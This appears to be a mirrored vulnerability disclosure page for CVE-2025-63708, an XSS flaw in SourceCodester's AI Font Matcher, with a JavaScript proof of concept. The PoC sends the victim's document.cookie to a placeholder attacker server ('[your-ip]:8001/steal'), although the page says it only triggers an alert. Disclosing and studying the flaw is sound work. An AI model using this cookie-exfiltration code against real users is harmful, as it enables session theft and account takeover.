目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2025-63708 PoC — SourceCodester AI Font Matcher 安全漏洞

来源
关联漏洞
标题: SourceCodester AI Font Matcher 安全漏洞 (CVE-2025-63708)
Description:SourceCodester AI Font Matcher是SourceCodester开源的一个ai字体识别器。 SourceCodester AI Font Matcher存在安全漏洞,该漏洞源于字体家族名称清理不当,可能导致跨站脚本攻击。
介绍
# CVE-2025-63708

**CVE ID:** CVE-2025-63708  
**Assigned:** 11-12-2025
**Problem Type:** CWE-79 (Cross-Site Scripting)  
**Affected Product:** “AI Font Matcher” (posted 2025-10-10, nid=18425)  
**Product page:** https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html  
**Discovery date:** 2025-10-11  
**Researcher:** Dylan Davis

## Summary
The application processes data from a `webfonts` fetch without sanitizing font family names. An attacker controlling or intercepting that response can inject JavaScript that executes in the page context, enabling session cookie theft and account takeover.

## Impact
- Arbitrary JavaScript execution in a victim’s browser  
- Exfiltration of session cookies (observed non-HttpOnly cookies during my testing)  
- Account hijacking and actions performed on behalf of the user

## Affected Versions / Scope
- The “AI Font Matcher” package distributed on SourceCodester as of 2025-10-10.

## Reproduction (PoC)
This PoC demonstrates code execution by hooking `window.fetch` and returning a controlled Web Fonts payload.
1. Run the app locally from the downloaded source.  
2. Open DevTools → Console and paste the PoC below (or load `poc.js`).  
3. Trigger the UI that fetches `webfonts`; observe an `alert(1)`.

```js
window.__origFetch = window.fetch;
window.fetch = async function(input, init) {
    const url = (typeof input === 'string') ? input : input?.url;
    if (url && url.includes('webfonts')) {
        // Exfiltrate cookie to your server
        fetch('http://[your-ip]:8001/steal?cookie=' + 
              encodeURIComponent(document.cookie))
            .catch(e => console.log('Exfil failed:', e));
        
        return new Response(JSON.stringify({
            kind: "webfonts#webfontList",
            items: [{ family: "Playfair Display", category: "serif" }]
        }), {
            status: 200, 
            headers: {'Content-Type': 'application/json'}
        });
    }
    return window.__origFetch.apply(this, arguments);
};
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →